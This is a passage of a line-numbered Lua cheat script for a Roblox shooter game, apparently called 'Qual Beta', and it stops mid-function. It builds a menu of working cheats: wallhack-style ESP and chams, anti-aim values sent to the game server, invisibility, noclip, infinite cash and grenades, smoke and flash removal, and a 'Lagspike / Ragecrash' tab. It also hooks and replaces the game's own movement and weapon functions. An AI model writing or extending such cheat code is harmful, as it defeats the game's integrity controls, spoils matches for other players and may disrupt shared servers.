  3086. VisualMisc:AddToggle("SpectatorUI", Settings.SpectatorUI, function(b)
  3087. Settings.SpectatorUI = b
  3088. SpecF.Visible = b
  3089. end)
  3090.  
  3091. VisualMisc:AddToggle("Watermark", Settings.Watermark, function(b)
  3092. Settings.Watermark = b
  3093. WBack.Visible = b
  3094. end)
  3095.  
  3096. VisualMisc:AddToggle("Better Scope", Settings.BetterScope, function(enabled)
  3097. Settings.BetterScope = enabled
  3098. if enabled then
  3099. local ScopeStorageQuery = {}
  3100. local Crosshairs = Local.PlayerGui.GUI.Crosshairs
  3101. table.insert(ScopeStorage, Crosshairs.Scope)
  3102. table.insert(ScopeStorage, Crosshairs.Frame1)
  3103. table.insert(ScopeStorage, Crosshairs.Frame2)
  3104. table.insert(ScopeStorage, Crosshairs.Frame3)
  3105. table.insert(ScopeStorage, Crosshairs.Frame4)
  3106. Crosshairs.Scope.Parent = Services.Lighting
  3107. Crosshairs.Frame1.Parent = Services.Lighting
  3108. Crosshairs.Frame2.Parent = Services.Lighting
  3109. Crosshairs.Frame3.Parent = Services.Lighting
  3110. Crosshairs.Frame4.Parent = Services.Lighting
  3111. Scope.Parent = Crosshairs
  3112. Frame1.Parent = Crosshairs
  3113. Frame2.Parent = Crosshairs
  3114. Frame3.Parent = Crosshairs
  3115. Frame4.Parent = Crosshairs
  3116. Local.Game.Scope = Scope
  3117. else
  3118. local Crosshairs = Local.PlayerGui.GUI.Crosshairs
  3119. Scope.Parent = Services.Lighting
  3120. Frame1.Parent = Services.Lighting
  3121. Frame2.Parent = Services.Lighting
  3122. Frame3.Parent = Services.Lighting
  3123. Frame4.Parent = Services.Lighting
  3124. for i,v in pairs(ScopeStorage) do
  3125. if v.Name == "Scope" then
  3126. Local.Game.Scope = v
  3127. end
  3128. v.Parent = Crosshairs
  3129. end
  3130. end
  3131. end)
  3132.  
  3133. local EV = Visuals:AddLocalTab("Environment")
  3134. local Camera = Visuals:AddLocalTab("Camera")
  3135.  
  3136.  
  3137. Camera:AddSlider("FOV", 120, Settings.FOV, LocalFOV)
  3138.  
  3139. thirdpersontoggle = false
  3140. Camera:AddKeybind("Thirdperson Toggle", Enum.KeyCode[Settings.ThirdpersonKey], function()
  3141. thirdpersontoggle = not thirdpersontoggle
  3142. if thirdpersontoggle then
  3143. Local.Player.CameraMaxZoomDistance = Settings.ThirdpersonDistance
  3144. Local.Player.CameraMinZoomDistance = Settings.ThirdpersonDistance
  3145. wait()
  3146. Local.Player.CameraMaxZoomDistance = Settings.ThirdpersonDistance
  3147. Local.Player.CameraMinZoomDistance = Settings.ThirdpersonDistance
  3148. else
  3149. Local.Player.CameraMaxZoomDistance = 0.5
  3150. Local.Player.CameraMinZoomDistance = 0.5
  3151. wait() --no clue why but u need to do this twice
  3152. Local.Player.CameraMaxZoomDistance = 0.5
  3153. Local.Player.CameraMinZoomDistance = 0.5
  3154. end
  3155. end, false)
  3156.  
  3157. Spectatorkey = Camera:AddKeybind("Spectator view key", Enum.KeyCode[Settings.Spectatorkey])
  3158.  
  3159. local Hit = Visuals:AddLocalTab("On hit")
  3160.  
  3161. Hit:AddToggle("Hitmarker", Settings.Hitmarker, function(b)
  3162. Settings.Hitmarker = b
  3163. end)
  3164.  
  3165. Hit:AddToggle("Hitmarker follow hit", Settings.HitmarkerTarget, function(b)
  3166. Settings.HitmarkerTarget = b
  3167. end)
  3168.  
  3169. Hit:AddToggle("Enable Hitsounds", Settings.HitsoundEnabled, function(b)
  3170. Settings.HitsoundEnabled = b
  3171. end)
  3172.  
  3173. Hit:AddDropdown("Hitsound", indexOf(HitsoundsTable, Settings.Hitsound), HitsoundsTable, function(d)
  3174. Settings.Hitsound = d
  3175. end)
  3176.  
  3177. function OnHit(name, damage)
  3178. if Settings.HitsoundEnabled then
  3179. PlaySound(Hitsounds[Settings.Hitsound])
  3180. end
  3181.  
  3182. local additive = ""
  3183. if lastHit then
  3184. additive = " at "..lastHit[1].Name
  3185. if lastHit[2] then
  3186. additive = additive.." through a wall"
  3187. end
  3188. additive = additive.." ("..lastHit[3]..")".." ("..lastHit[3] - damage..")"
  3189. end
  3190.  
  3191. local TextLabel = Instance.new("TextLabel")
  3192. TextLabel.Parent = DaFrame
  3193. TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  3194. TextLabel.BackgroundTransparency = 1
  3195. TextLabel.Size = UDim2.new(0, 302, 0, 20)
  3196. TextLabel.Font = Enum.Font.Code
  3197. TextLabel.Text = "Hit "..name.." for "..damage..additive
  3198. TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
  3199. TextLabel.TextSize = 14
  3200. TextLabel.TextStrokeTransparency = 0
  3201. TextLabel.TextXAlignment = Enum.TextXAlignment.Left
  3202.  
  3203. delay(5, function()
  3204. for i = 0,1,0.01 do
  3205. wait()
  3206. TextLabel.TextTransparency = i
  3207. TextLabel.TextStrokeTransparency = i
  3208. end
  3209. TextLabel:Destroy()
  3210. end)
  3211.  
  3212. if Settings.Hitmarker then --CurrentConfig().Hitmarker.Enabled
  3213. local Line = Drawing.new("Line")
  3214. local Line2 = Drawing.new("Line")
  3215. local Line3 = Drawing.new("Line")
  3216. local Line4 = Drawing.new("Line")
  3217.  
  3218. local Color = Color3.new(1,1,1)--CurrentConfig().Hitmarker.Color()
  3219. local x, y
  3220. local pos = lastPoint
  3221. if Settings.HitmarkerTarget then
  3222. local vector, onScreen = Local.Camera:WorldToViewportPoint(pos)
  3223. x, y = vector.X, vector.Y
  3224. else
  3225. local Size = Local.Camera.ViewportSize
  3226. x, y = Size.X/2, Size.Y/2
  3227. end
  3228.  
  3229. Line.From = Vector2.new(x + 4, y + 4)
  3230. Line.To = Vector2.new(x + 10, y + 10)
  3231. Line.Color = Color
  3232. Line.Visible = true
  3233.  
  3234. Line2.From = Vector2.new(x + 4, y - 4)
  3235. Line2.To = Vector2.new(x + 10, y - 10)
  3236. Line2.Color = Color
  3237. Line2.Visible = true
  3238.  
  3239. Line3.From = Vector2.new(x - 4, y - 4)
  3240. Line3.To = Vector2.new(x - 10, y - 10)
  3241. Line3.Color = Color
  3242. Line3.Visible = true
  3243.  
  3244. Line4.From = Vector2.new(x - 4, y + 4)
  3245. Line4.To = Vector2.new(x - 10, y + 10)
  3246. Line4.Color = Color
  3247. Line4.Visible = true
  3248.  
  3249. Line.Transparency = 1
  3250. Line2.Transparency = 1
  3251. Line3.Transparency = 1
  3252. Line4.Transparency = 1
  3253.  
  3254. Line.Thickness = 1
  3255. Line2.Thickness = 1
  3256. Line3.Thickness = 1
  3257. Line4.Thickness = 1
  3258.  
  3259. spawn(function()
  3260. while Line ~= nil do
  3261. wait()
  3262. local vector, onScreen = Local.Camera:WorldToViewportPoint(pos)
  3263. x, y = vector.X, vector.Y
  3264.  
  3265. Line.From = Vector2.new(x + 4, y + 4)
  3266. Line.To = Vector2.new(x + 10, y + 10)
  3267. Line.Color = Color
  3268. Line.Visible = true
  3269.  
  3270. Line2.From = Vector2.new(x + 4, y - 4)
  3271. Line2.To = Vector2.new(x + 10, y - 10)
  3272. Line2.Color = Color
  3273. Line2.Visible = true
  3274.  
  3275. Line3.From = Vector2.new(x - 4, y - 4)
  3276. Line3.To = Vector2.new(x - 10, y - 10)
  3277. Line3.Color = Color
  3278. Line3.Visible = true
  3279.  
  3280. Line4.From = Vector2.new(x - 4, y + 4)
  3281. Line4.To = Vector2.new(x - 10, y + 10)
  3282. Line4.Color = Color
  3283. Line4.Visible = true
  3284.  
  3285. if not onScreen then
  3286. Line.Transparency = 0
  3287. Line2.Transparency = 0
  3288. Line3.Transparency = 0
  3289. Line4.Transparency = 0
  3290. end
  3291. end
  3292. end)
  3293.  
  3294. wait(.3)
  3295. for i = 1,0,-.1 do
  3296. wait()
  3297. Line.Transparency = i
  3298. Line2.Transparency = i
  3299. Line3.Transparency = i
  3300. Line4.Transparency = i
  3301. end
  3302. Line:Remove()
  3303. Line2:Remove()
  3304. Line3:Remove()
  3305. Line4:Remove()
  3306. end
  3307. end
  3308.  
  3309. EV:AddDropdown("Skybox", indexOf(SkyboxesTable, Settings.Skybox), SkyboxesTable, function(d)
  3310. Settings.Skybox = d
  3311. if d == "None" then
  3312. Skybox.Parent = nil
  3313. else
  3314. Skybox.Parent = Services.Lighting
  3315. local sb = Skyboxes[d]
  3316. Skybox.CelestialBodiesShown = false
  3317. Skybox.SkyboxLf = sb.SkyboxLf
  3318. Skybox.SkyboxBk = sb.SkyboxBk
  3319. Skybox.SkyboxDn = sb.SkyboxDn
  3320. Skybox.SkyboxFt = sb.SkyboxFt
  3321. Skybox.SkyboxLf = sb.SkyboxLf
  3322. Skybox.SkyboxRt = sb.SkyboxRt
  3323. Skybox.SkyboxUp = sb.SkyboxUp
  3324. Skybox.StarCount = sb.StarCount
  3325. end
  3326. end)
  3327.  
  3328. EV:AddSlider("Lighting time", 24, Settings.ClockTime, function(v)
  3329. Settings.ClockTime = v
  3330. Services.Lighting.ClockTime = v
  3331. end, 0.01)
  3332.  
  3333. EV:AddToggle("Fullbright", Settings.Fullbright, function(b)
  3334. Settings.Fullbright = b
  3335. if b then
  3336. Services.Lighting.Ambient = Color3.new(1,1,1)
  3337. Services.Lighting.Brightness = 0
  3338. else
  3339. Services.Lighting.Ambient = Color3.new(0,0,0)
  3340. Services.Lighting.Brightness = 2
  3341. end
  3342. end)
  3343.  
  3344. spawn(function()
  3345. workspace:WaitForChild("Ray_Ignore"):WaitForChild("Smokes").DescendantAdded:connect(function(v)
  3346. if Settings.RemoveSmoke then
  3347. v:Remove()
  3348. end
  3349. if Settings.WireframeSmoke then
  3350. if v:IsA("ParticleEmitter") then
  3351. v.Texture = "rbxassetid://65437818"
  3352. v.Size = NumberSequence.new(0, 10)
  3353. v.Transparency = NumberSequence.new(0.9)
  3354. v.SpreadAngle = Vector2.new(0, 0)
  3355. v.Rate = 20
  3356. v.Acceleration = Vector3.new(0,0,0)
  3357. v.Lifetime = NumberRange.new(5, 10)
  3358. v.Speed = NumberRange.new(0)
  3359. v.RotSpeed = NumberRange.new(10,100)
  3360. end
  3361. if v:IsA("Part") then
  3362. v.Transparency = 1
  3363. end
  3364. end
  3365. end)
  3366. end)
  3367.  
  3368. spawn(function()
  3369. while wait() do
  3370. local SpectatePlayer = nil
  3371. if isAlive(Local.Player) then
  3372. SpectatePlayer = Local.Player
  3373. else
  3374. local SpectatePlayer = Local.PlayerGui.GUI.Spectate.Current.Value
  3375. if SpectatePlayer and SpectatePlayer ~= "" and SpectatePlayer ~= nil and Services.Players:FindFirstChild(SpectatePlayer) then
  3376. SpectatePlayer = Services.Players[SpectatePlayer]
  3377. end
  3378. end
  3379.  
  3380. function disable(v)
  3381. PlayerListInfo[v.UserId].SpectatorDot.Visible = false
  3382. PlayerListInfo[v.UserId].SpectatorText.Visible = false
  3383. SpectateEntries[v.Name].Visible = false
  3384. end
  3385. pcall(function()
  3386. for i,v in pairs(Services.Players:GetPlayers()) do
  3387. if not isAlive(v) then
  3388. local cf = v.CameraCF.Value
  3389. local vector, onScreen = Local.Camera:WorldToScreenPoint(cf.p)
  3390. if onScreen then
  3391. PlayerListInfo[v.UserId].SpectatorDot.Visible = true
  3392. PlayerListInfo[v.UserId].SpectatorText.Visible = true
  3393. PlayerListInfo[v.UserId].SpectatorDot.Position = Vector2.new(vector.X, vector.Y)
  3394. PlayerListInfo[v.UserId].SpectatorText.Position = Vector2.new(vector.X, vector.Y + 18)
  3395. else
  3396. PlayerListInfo[v.UserId].SpectatorText.Visible = false
  3397. PlayerListInfo[v.UserId].SpectatorDot.Visible = false
  3398. end
  3399. if SpectatePlayer and SpectatePlayer.Character:FindFirstChild("HumanoidRootPart") and Settings.SpectatorUI then
  3400. local d = GetDistanceSq(SpectatePlayer.Character:FindFirstChild("HumanoidRootPart").CFrame.p, cf.p) -- SQUARED DISTANCE FOR EFFICIENCY
  3401. if d < 50 then -- 5^2 = 25
  3402. --First person
  3403. SpectateEntries[v.Name].Visible = true
  3404. SpectateEntries[v.Name].OBSM.Text = "Firstperson"
  3405. elseif d < 100 then --10^2 = 100
  3406. --thirdperson
  3407. SpectateEntries[v.Name].Visible = true
  3408. SpectateEntries[v.Name].OBSM.Text = "Thirdperson"
  3409. else
  3410. --not spectating us
  3411. SpectateEntries[v.Name].Visible = false
  3412. end
  3413. else
  3414. disable(v)
  3415. end
  3416. else
  3417. disable(v)
  3418. end
  3419. end
  3420. end)
  3421. end
  3422. end)
  3423.  
  3424.  
  3425. spawn(function()
  3426. local Stats = game:GetService("Stats")
  3427. local Heartbeat = game:GetService("RunService").Heartbeat
  3428.  
  3429. local LastIteration, Start
  3430. local FrameUpdateTable = { }
  3431. local floor = math.floor
  3432. local function HeartbeatUpdate()
  3433. LastIteration = tick()
  3434. for Index = #FrameUpdateTable, 1, -1 do
  3435. FrameUpdateTable[Index + 1] = (FrameUpdateTable[Index] >= LastIteration - 1) and FrameUpdateTable[Index] or nil
  3436. end
  3437.  
  3438. FrameUpdateTable[1] = LastIteration
  3439. local CurrentFPS = (tick() - Start >= 1 and #FrameUpdateTable) or (#FrameUpdateTable / (tick() - Start))
  3440. CurrentFPS = floor(CurrentFPS )
  3441. setLetters("Qual Beta | "..CurrentFPS.." fps | "..floor(Stats:GetTotalMemoryUsageMb()).." MB | "..Stats.InstanceCount.." Objects")
  3442. end
  3443.  
  3444. Start = tick()
  3445. Heartbeat:Connect(HeartbeatUpdate)
  3446. end)
  3447.  
  3448.  
  3449.  
  3450. spawn(function()
  3451. local hue = 0
  3452. while wait() do
  3453. if Settings.Watermark then
  3454. hue = hue + 1
  3455. for i,v in pairs(letters) do
  3456. v.TextColor3 = Color3.fromHSV(((hue / 59) + (i / 59)) % 1, 1, 1)
  3457. end
  3458. end
  3459. end
  3460. end)
  3461.  
  3462.  
  3463. Camera:AddSlider("Thirdperson Distance", 20, Settings.ThirdpersonDistance, function(v)
  3464. Settings.ThirdpersonDistance = v
  3465. end)
  3466.  
  3467. local AlliesESPtab = Core:CreateTab("Ally ESP")
  3468. local EnemiesESPtab = Core:CreateTab("Enemy ESP")
  3469.  
  3470. local GameCheats = Core:CreateTab("GameCheats")
  3471. local PlayerCheats = Core:CreateTab("PlayerCheats")
  3472.  
  3473. local Skins = PlayerCheats:AddLocalTab("Skins (NOT FE)")
  3474. local AA = PlayerCheats:AddLocalTab("Antiaim")
  3475. local AE = PlayerCheats:AddLocalTab("Antienvironment")
  3476. local RV = PlayerCheats:AddLocalTab("Revolver")
  3477. local Bunnyhop = PlayerCheats:AddLocalTab("Bunnyhopping")
  3478. local PCMisc = PlayerCheats:AddLocalTab("Misc")
  3479.  
  3480. local BM = GameCheats:AddLocalTab("Buy Menu")
  3481. local ChatTab = GameCheats:AddLocalTab("Chat")
  3482. local HN = GameCheats:AddLocalTab("Hide Name (CLIENT)")
  3483. local PS = GameCheats:AddLocalTab("FE Play Sounds")
  3484. local LagSpike = GameCheats:AddLocalTab("Lagspike / Ragecrash")
  3485.  
  3486.  
  3487. local Obj = PlayerCheats:AddLocalTab("Objective")
  3488. local Fun = PlayerCheats:AddLocalTab("Fun")
  3489.  
  3490.  
  3491. for tab,team in pairs({[AlliesESPtab] = "Allies", [EnemiesESPtab] = "Enemies"}) do
  3492. for i,v in pairs({"Inner", "Outer"}) do
  3493. local ChamsTab = tab:AddLocalTab(v.." Chams")
  3494.  
  3495. ChamsTab:AddToggle("Enabled", Settings[v.."Chams"][team].Render, function(b)
  3496. Settings[v.."Chams"][team].Render = b
  3497. ESP()
  3498. end)
  3499.  
  3500. ChamsTab:AddCP("Color", Settings[v.."Chams"][team].Color, function(c3, alpha)
  3501. Settings[v.."Chams"][team].Color = c3
  3502. if alpha then
  3503. Settings[v.."Chams"][team].Transparency = alpha
  3504. end
  3505. ESP()
  3506. end, Settings[v.."Chams"][team].Transparency)
  3507.  
  3508. ChamsTab:AddToggle("Use Team Color Instead", Settings[v.."Chams"][team].UseTeamColor, function(b)
  3509. Settings[v.."Chams"][team].UseTeamColor = b
  3510. ESP()
  3511. end)
  3512.  
  3513. ChamsTab:AddToggle("Render Only While Visible", Settings[v.."Chams"][team].VisibleOnly, function(b)
  3514. Settings[v.."Chams"][team].VisibleOnly = b
  3515. ESP()
  3516. end)
  3517.  
  3518. if v == "Outer" then
  3519. ChamsTab:AddSlider("Size", 5, Settings.OuterChams[team].Size, function(n)
  3520. Settings.OuterChams[team].Size = n
  3521. ESP()
  3522. end, 0.01)
  3523. end
  3524. end
  3525.  
  3526. local Boxes = tab:AddLocalTab("Boxes")
  3527.  
  3528. Boxes:AddToggle("Render Boxes", Settings.Boxes[team].Enabled, function(b)
  3529. Settings.Boxes[team].Enabled = b
  3530. end)
  3531.  
  3532. Boxes:AddCP("Color", Settings.Boxes[team].Color, function(c3, alpha)
  3533. Settings.Boxes[team].Color = c3
  3534. Settings.Boxes[team].Transparency = alpha
  3535. end, Settings.Boxes[team].Transparency)
  3536.  
  3537. local Healthbar = tab:AddLocalTab("Healthbar")
  3538.  
  3539. Healthbar:AddToggle("Render Healthbar", Settings.Healthbar[team].Enabled, function(b)
  3540. Settings.Healthbar[team].Enabled = b
  3541. end)
  3542.  
  3543. Healthbar:AddCP("Color", Settings.Healthbar[team].Color, function(c3)
  3544. Settings.Healthbar[team].Color = c3
  3545. end)
  3546.  
  3547. local Tracers = tab:AddLocalTab("Tracers")
  3548.  
  3549. Tracers:AddToggle("Render Tracers", Settings.Tracers[team].Enabled, function(b)
  3550. Settings.Tracers[team].Enabled = b
  3551. end)
  3552.  
  3553. Tracers:AddCP("Color", Settings.Tracers[team].Color, function(c3, alpha)
  3554. Settings.Tracers[team].Color = c3
  3555. Settings.Tracers[team].Transparency = alpha
  3556. end, Settings.Tracers[team].Transparency)
  3557.  
  3558. local WeaponText = tab:AddLocalTab("Weapon Text")
  3559.  
  3560. WeaponText:AddToggle("Render Weapon Text", Settings.WeaponText[team].Enabled, function(b)
  3561. Settings.WeaponText[team].Enabled = b
  3562. end)
  3563.  
  3564. WeaponText:AddCP("Color", Settings.WeaponText[team].Color, function(c3, alpha)
  3565. Settings.WeaponText[team].Color = c3
  3566. Settings.WeaponText[team].Transparency = alpha
  3567. end, Settings.WeaponText[team].Transparency)
  3568.  
  3569. local Nametags = tab:AddLocalTab("Nametags")
  3570.  
  3571. Nametags:AddToggle("Render Nametags", Settings.Nametags[team].Enabled, function(b)
  3572. Settings.Nametags[team].Enabled = b
  3573. end)
  3574.  
  3575. Nametags:AddCP("Color", Settings.Nametags[team].Color, function(c3, alpha)
  3576. Settings.Nametags[team].Color = c3
  3577. Settings.Nametags[team].Transparency = alpha
  3578. end, Settings.Nametags[team].Transparency)
  3579.  
  3580. local BombText = tab:AddLocalTab("Bomb Text")
  3581.  
  3582. BombText:AddToggle("Render Bomb Text", Settings.BombText[team].Enabled, function(b)
  3583. Settings.BombText[team].Enabled = b
  3584. end)
  3585.  
  3586. BombText:AddCP("Color", Settings.BombText[team].Color, function(c3, alpha)
  3587. Settings.BombText[team].Color = c3
  3588. Settings.BombText[team].Transparency = alpha
  3589. end, Settings.BombText[team].Transparency)
  3590. end
  3591.  
  3592. Skins:AddToggle("Unlock All Skins", Settings.SkinChanger, function(b)
  3593. Settings.SkinChanger = b
  3594. if b then
  3595. Local.Game.CurrentInventory = Skin
  3596. end
  3597. end)
  3598. --[[
  3599. Skins:AddButton("Randomize Skins", function()
  3600. for i,t in pairs({"T", "CT"}) do
  3601. for i,v in pairs(Local.Player.SkinFolder[t.."Folder"]:GetChildren()) do
  3602. local s
  3603. local CI = Local.Game.CurrentInventory
  3604. repeat
  3605. wait()
  3606. s = math.random(1, #CI)
  3607. until CI[s][1]:find("^"..v.Name) ~= nil
  3608.  
  3609. Local.Game.equipitem(s, t)
  3610. end
  3611. end
  3612. end)]]
  3613.  
  3614. JNegative = false
  3615. JRotation = false
  3616. Jitter = 0
  3617.  
  3618. AA:AddToggle("Enabled", Settings.AA.Enabled, function(b)
  3619. Settings.AA.Enabled = b
  3620. end)
  3621.  
  3622. AA:AddSlider("Pitch", 2, Settings.AA.Pitch, function(v)
  3623. Settings.AA.Pitch = v
  3624. Events.ControlTurn:FireServer(v, false)
  3625. end, 0.01)
  3626.  
  3627. AA:AddSlider("Jitter Speed", 45, Settings.AA.JSpeed, function(v)
  3628. Settings.AA.JSpeed = v
  3629. end, 0.1)
  3630.  
  3631. AA:AddSlider("Jitter Range", 360, Settings.AA.JRange, function(v)
  3632. Settings.AA.JRange = v
  3633. end, 0.1)
  3634.  
  3635. AA:AddKeybind("Inverse Jitter Direction", Enum.KeyCode[Settings.AA["JDirection"]], function()
  3636. JNegative = not JNegative
  3637. end, false)
  3638.  
  3639. AA:AddKeybind("Inverse Jitter Rotation", Enum.KeyCode[Settings.AA["JRotation"]], function()
  3640. JRotation = not JRotation
  3641. end, false)
  3642.  
  3643. AA:AddToggle("Become Invisible", Settings.AA.Invisible, function(b)
  3644. Settings.AA.Invisible = b
  3645. end)
  3646.  
  3647. DirectionMode = {"None", "Nearest", "All Threats", "Manual"}
  3648. AA:AddDropdown("Direction", indexOf(DirectionMode, Settings.AA.Direction), DirectionMode, function(d)
  3649. pcall(function()
  3650. if d == "None" then
  3651. Local.Player.Character.Humanoid.AutoRotate = true
  3652. end
  3653. end)
  3654. Settings.AA.Direction = d
  3655. end)
  3656.  
  3657. Direction = ""
  3658.  
  3659. for i,v in pairs({"Left", "Back", "Right"}) do
  3660. AA:AddKeybind(v, Enum.KeyCode[Settings.AA[v]], function()
  3661. if Direction == v then
  3662. Direction = ""
  3663. else
  3664. Direction = v
  3665. end
  3666. end, false)
  3667. end
  3668.  
  3669. AA:AddToggle("Remove Head", Settings.RHead, function(b)
  3670. Settings.RHead = b
  3671. end)
  3672.  
  3673. AE:AddToggle("Remove Fall Damage", Settings.NoFall, function(b)
  3674. Settings.NoFall = b
  3675. end)
  3676.  
  3677. AE:AddToggle("Remove Fire Damage", Settings.AntiMolotov, function(b)
  3678. Settings.AntiMolotov = b
  3679. end)
  3680.  
  3681. AE:AddToggle("Remove Flashes", Settings.RemoveFlash, function(b)
  3682. Settings.RemoveFlash = b
  3683. Local.PlayerGui.Blnd.Enabled = not b
  3684. Local.PlayerGui.GUI.Blind.Visible = not b
  3685. end)
  3686.  
  3687. AE:AddToggle("Wireframe Smokes", Settings.WireframeSmoke, function(b)
  3688. Settings.WireframeSmoke = b
  3689. end)
  3690.  
  3691. AE:AddToggle("Remove Smokes", Settings.RemoveSmoke, function(b)
  3692. Settings.RemoveSmoke = b
  3693. end)
  3694.  
  3695. AE:AddKeybind("Noclip", Enum.KeyCode[Settings.Noclipkey], function()
  3696. Settings.Noclip = not Settings.Noclip
  3697. end, false)
  3698.  
  3699. RV:AddToggle("Make revolver instant", Settings.InstaRev, function(b)
  3700. Settings.InstaRev = b
  3701. end)
  3702.  
  3703. RV:AddToggle("Play animation constantly", Settings.RevAnimate, function(b)
  3704. Settings.RevAnimate = b
  3705. end)
  3706.  
  3707. Bunnyhop:AddToggle("Autohop", Settings.Autohop, function(b)
  3708. Settings.Autohop = b
  3709. end)
  3710.  
  3711. Bunnyhop:AddToggle("Legit Autostrafe", Settings.LegitStrafe, function(b)
  3712. Settings.LegitStrafe = b
  3713. end)
  3714.  
  3715. Bunnyhop:AddSlider("Autostrafe Speed", 100, Settings.AutohopSpeed, function(n)
  3716. Settings.AutohopSpeed = n
  3717. end)
  3718.  
  3719. Bunnyhop:AddSlider("Autohop hit percentage", 100, Settings.AutohopHitrate, function(n)
  3720. Settings.AutohopHitrate = n
  3721. end)
  3722.  
  3723. PCMisc:AddToggle("Infinite Grenades", Settings.InfNades, function(b)
  3724. Settings.InfNades = b
  3725. end)
  3726.  
  3727. PCMisc:AddToggle("Fakeduck", Settings.Fakeduck, function(b)
  3728. Settings.Fakeduck = b
  3729. end)
  3730.  
  3731. BM:AddToggle("Buymenu Anywhere", Settings.Buymenu, function(b)
  3732. Settings.Buymenu = b
  3733. end)
  3734.  
  3735. BM:AddToggle("Infinite Cash", Settings.InfiniteCash, function(b)
  3736. Settings.InfiniteCash = b
  3737. if not b then
  3738. Local.Player.Cash.Value = 5000
  3739. Local.PlayerGui.GUI.Cash.Text = "$5000"
  3740. end
  3741. end)
  3742.  
  3743. BM:AddToggle("Buy any 4 grenades", Settings.RemoveGrenadeLogic, function(b)
  3744. Settings.RemoveGrenadeLogic = b
  3745. end)
  3746.  
  3747. Fun:AddToggle("Make head blocky", Settings.Blockhead, function(b)
  3748. Settings.Blockhead = b
  3749. end)
  3750.  
  3751. Fun:AddToggle("Make hats blocky", Settings.Blockhats, function(b)
  3752. Settings.Blockhats = b
  3753. end)
  3754.  
  3755. Fun:AddToggle("Remove Clothes", Settings.Naked, function(b)
  3756. Settings.Naked = b
  3757. end)
  3758.  
  3759. Fun:AddToggle("Remove Limbs (VERY BUGGY)", Settings.RLimbs, function(b)
  3760. Settings.RLimbs = b
  3761. end)
  3762.  
  3763. HN:AddToggle("Hide Name", Settings.HideName, function(b)
  3764. Settings.HideName = b
  3765. end)
  3766.  
  3767. HN:AddBox("Killsay Message", Settings.Name, function(v)
  3768. Settings.Name = v
  3769. end)
  3770.  
  3771. for j,k in pairs({workspace, workspace.Sounds}) do
  3772. for i,v in pairs(k:GetChildren()) do
  3773. if v:IsA("Sound") then
  3774. local bool = false
  3775. PS:AddToggle("Play "..v.Name, false, function(b)
  3776. bool = b
  3777. if bool then
  3778. v.Playing = true
  3779. end
  3780. end)
  3781. v.Ended:connect(function()
  3782. if bool then
  3783. v.Playing = true
  3784. end
  3785. end)
  3786. end
  3787. end
  3788. end
  3789.  
  3790. spawn(function()
  3791. repeat wait() until Local.Game.speedupdate
  3792.  
  3793. local speedupdate = Local.Game.speedupdate
  3794. Local.Game.speedupdate = function()
  3795. if Services.UserInputService:IsKeyDown(Enum.KeyCode.Space) and isAlive(Local.Player) and Services.UserInputService:GetFocusedTextBox() == nil and Settings.Autohop then
  3796. Local.Player.Character.Humanoid.Jump = true
  3797. if not Storage.AutohopHit then
  3798. return speedupdate()
  3799. end
  3800. if Settings.LegitStrafe then
  3801. Local.Player.Character.Humanoid.WalkSpeed = Settings.AutohopSpeed
  3802. else
  3803. Local.Player.Character.Humanoid.WalkSpeed = lerp(Local.Player.Character.Humanoid.WalkSpeed, Settings.AutohopSpeed, 0.01)
  3804. end
  3805.  
  3806. return
  3807. end
  3808. return speedupdate()
  3809. end
  3810. end)
  3811.  
  3812. function mapSkin(gun, gn, skin)
  3813. local skindataf = skin
  3814. if skindataf ~= nil then
  3815. local skin = skindataf
  3816. if skin ~= "Stock" then
  3817. do
  3818. local whichskin = gn
  3819. if string.find(string.lower(gn), "falchion") then
  3820. whichskin = "Falchion Knife"
  3821. end
  3822. if string.find(string.lower(gn), "bayonet") then
  3823. whichskin = "Bayonet"
  3824. end
  3825. if string.find(string.lower(gn), "huntsman") then
  3826. whichskin = "Huntsman Knife"
  3827. end
  3828. if string.find(string.lower(gn), "butterfly") then
  3829. whichskin = "Butterfly Knife"
  3830. end
  3831. if string.find(string.lower(gn), "gut") then
  3832. whichskin = "Gut Knife"
  3833. end
  3834. if string.find(string.lower(gn), "karambit") then
  3835. whichskin = "Karambit"
  3836. end
  3837. local skindata = game.ReplicatedStorage.Skins[whichskin][skin]
  3838. if not skindata:FindFirstChild("Animated") then
  3839. local skindatach = skindata:GetDescendants()
  3840. for _, v in pairs(skindatach) do
  3841. pcall(function()
  3842. if gun:FindFirstChild(v.Name) and gun[v.Name].Transparency == 0 then
  3843. if not gun[v.Name]:FindFirstChild("Mesh") then
  3844. pcall(function()
  3845. gun[v.Name].TextureID = v.Value
  3846. end)
  3847. elseif gun[v.Name]:FindFirstChild("Mesh") then
  3848. pcall(function()
  3849. gun[v.Name].Mesh.TextureId = v.Value
  3850. end)
  3851. end
  3852. end
  3853. end)
  3854. end
  3855. else
  3856. do
  3857. local textures = require(skindata.Animated)
  3858. local function findTexture(texture)
  3859. for _, v in pairs(textures) do
  3860. if v == texture then
  3861. return true
  3862. end
  3863. end
  3864. return false
  3865. end
  3866. coroutine.wrap(function()
  3867. repeat
  3868. wait()
  3869. until gun.Parent
  3870. while gun and gun.Parent do
  3871. for i = 1, #textures do
  3872. if gun and gun.Parent and findTexture(textures[i]) then
  3873. if skindata.Name == "Candy Cane" then
  3874. gun.Handle.TextureID = textures[i]
  3875. elseif skindata.Name == "Late Night" then
  3876. gun.Blade.TextureID = textures[i]
  3877. gun["1Handle"].TextureID = textures[i]
  3878. end
  3879. end
  3880. wait(textures.delays)
  3881. end
  3882. wait(textures.delays)
  3883. end
  3884. end)()
  3885. end
  3886. end
  3887. end
  3888. end
  3889. end
  3890. end
  3891.  
  3892. do -- ui skin handler
  3893. for i = 1,3 do
  3894. local wep = Local.Game.weapons[i]
  3895. wep.ToolName:GetPropertyChangedSignal("Text"):connect(function()
  3896. wait()
  3897. local gn
  3898. if i == 1 then
  3899. gn = Local.Game.primary
  3900. elseif i == 2 then
  3901. gn = Local.Game.secondary
  3902. elseif i == 3 then
  3903. gn = Local.Game.melee
  3904. end
  3905. --print(gn)
  3906. if FESkins[gn] then
  3907. print("YES")
  3908. wep.ToolName.Text = gn.." | "..FESkins[gn][3]
  3909. wep.ToolName.TextColor3 = FESkins[gn][4]
  3910. wep.Weapon.ImageColor3 = FESkins[gn][4]
  3911. end
  3912. end)
  3913. end
  3914. end
  3915.  
  3916. spawn(function()
  3917. repeat wait() until Local.Game.usethatgun
  3918.  
  3919. cantdumpthis = Local.Game.usethatgun
  3920.  
  3921. Local.Game.usethatgun = function(owner)
  3922. if Local.Game.gun and Local.Game.gun ~= "none" then
  3923. local gn = Local.Game.gun.Name
  3924. if gn:find("Knife") then
